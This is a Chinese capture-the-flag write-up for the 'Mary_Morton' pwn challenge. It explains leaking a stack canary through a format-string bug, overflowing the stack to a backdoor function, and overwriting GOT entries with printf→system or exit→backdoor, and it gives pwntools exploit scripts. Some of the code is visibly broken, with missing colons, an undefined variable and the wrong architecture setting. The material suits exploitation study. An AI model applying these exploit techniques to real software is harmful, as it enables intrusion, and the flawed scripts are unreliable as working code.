『攻防世界』:进阶区 | Mary_Morton

这道题让我重新学了一遍格式化字符串漏洞,自学真的太顶了。

checksec:开启了canary

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
checksec

IDA查看程序逻辑:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int v4; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  v3 = "Select your weapon ";
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA(v3);
      v3 = "%d";
      __isoc99_scanf("%d", &v4);
      if ( v4 != 2 )
        break;
      sub_4008EB();
    }
    if ( v4 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v4 == 1 )
    {
      sub_400960();
    }
    else
    {
      v3 = "Wrong!";
      puts("Wrong!");
    }
  }
}
main

主程序提供两种攻击方法——栈溢出和格式化字符串漏洞。这里提到一个关于canary的概念,canary是系统产生的一个随机数,在程序开始和结束进行检查,如果栈溢出导致canary变动则程序崩溃。

sub_4008EB():方法1是利用sub_4008EB函数泄露出canary,得到canary后在payload中将原先canary的位置值保持不变即可成功控制程序执行。

unsigned __int64 sub_4008EB()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

查看buf到canary,v2的距离:0x90 - 0x08 = 0x88

-0000000000000090 buf             db ?
-000000000000008F                 db ? ; undefined
-000000000000008E                 db ? ; undefined
  ············                       ··········
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008 var_8           dq ?

接下来调试程序得到offset为0x07 - 0x01:

Welcome to the battle ! 
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
>2
>aaaaaaaaaaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
aaaaaaaaaaaa.ffffd060.0000007f.f7b156d0.f7dd38c0.00000000.61616161.61616161.30252e78

接下来构造payload:

payload = '%' + str(0x88 / 0x08 + (0x07 - 0x01)) + '$p' //偏移的单位是地址的长度,64位环境下需要0x88/0x08,而后面的0x06就是offset了

后门函数地址:0x4008DA,溢出时候使用即可。

方法1:exp>

from pwn import *

io = process('./Mary_Morton')

def fun1(input)
    io.recvuntil("3. Exit the battle")
    io.sendline(str(1))
    io.sendline(input)

def fun2(input)
    io.recvuntil("3. Exit the battle")
    io.sendline(str(2))
    io.sendline(input)

flag_addr = 0x4008DA
fun2("4%23$p")
io.recvline()
io.recv(1)
canary = io.recv(18)[2:18]
canary_int = int(canary,16)
fun1("A"*0x88 + p64(canary_int) + p64(0) + p64(flag))
io.interactive()

下面有网上湿父的另外两种不同的方法解决这题

 方法2:在 C 语言中,没有开启 RELRO 保护的时候,GOT 表项可以被修改,当我们修改某个 GOT 表项的时候,比如把 printf 的 GOT 表项修改成 system 的地址,那执行 printf 的时候实际上是执行 system 的函数

选择2,利用格式化字符串将printf的got地址修改为system的plt地址,再次输入2,输入‘/bin/shx00’,相当于执行system(‘/bin/shx00’)

方法3:利用格式化字符串将exit的got地址修改为后门函数的地址,再选择3,调用修改后的exit函数。

from pwn import *

#远程执行
io = remote("",)
context.update(arch = 'i386',os = 'linux')

#调用使用
#context.log_level= "debug"

#def debug(cmd=""):
#    gdb.attach(io.cmd)

#cmd = "b *0x400930
"
#cmd += "b *0x400944
"
#debug(cmd)

```
#使用字符串“AAAA%P.%P.%P.%P.%P.%P.%P.%P.%P.%P”打印栈上的信息
#找到0x4141414141414141(AAAAAAAA)在第六个位置,确定栈的offset为6
#构造payload,由于payload的输入地址在后面(加入放在前面,先读入的会是x30x10x60x00,就会造成x00截断)
#“a%4195999c%8$lln”这些输入数据占用了16个字节,所以最终的offset是8
#offset = 8
···

#方式2:输入2,利用格式化字符串将printf的got地址修改为system的plt地址,再次输入2,输入‘/bin/shx00’,相当于执行system(‘/bin/shx00’)
#print_got = 0x00601030
#system_plt = 0x004006A0

#方式3:输入2,利用格式化字符串将exit的got地址修改为sub_4008DA后门函数地址(该函数可以直接执行cat ./flag),再次输入3,调用exit函数实际调用后门函数
exit_got = 0x00601060
catflag_plt = 0x004008DA

io.recvuntil('battle 
')
io.sendline('2')

#方式2构造的payload
#payload = “a%”     #第一个a用来使地址前面的数据对齐
#payload += str(system_plt - 1)     #写入的字节数,注意前面有一个a,需要-1
#payload += "c%8$lln"                  #注意是lln,一次性写入
#payload += p64(printf_got)          #被写入的地址

#方法3构造的payload
payload = “a%”                         #第一个a用来使地址前面的数据对齐
payload += str(catflag_plt -1)      #写入的字节数,注意前面有一个a,需要-1
payload += "c%8$lln"                 #注意是lln,一次性吸入
payload += p64(exit_got)           #被写入的地址

io.sendline(payload)

#方式2执行的交互
#io.recvuntil('battle 
')
#io.sendline('2')
#io.sendline('/bin/shx00')

#方式3执行的交互
io.recvuntil('battle 
')
io.sendline('3')

io.interactive()
exp2

这里再补充一个非常方便的函数

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

 第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: system_Address};本题是将0804a048处改为0x2223322

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。fmtstr_payload函数返回的就是payload

原文地址:https://www.cnblogs.com/Zowie/p/13495513.html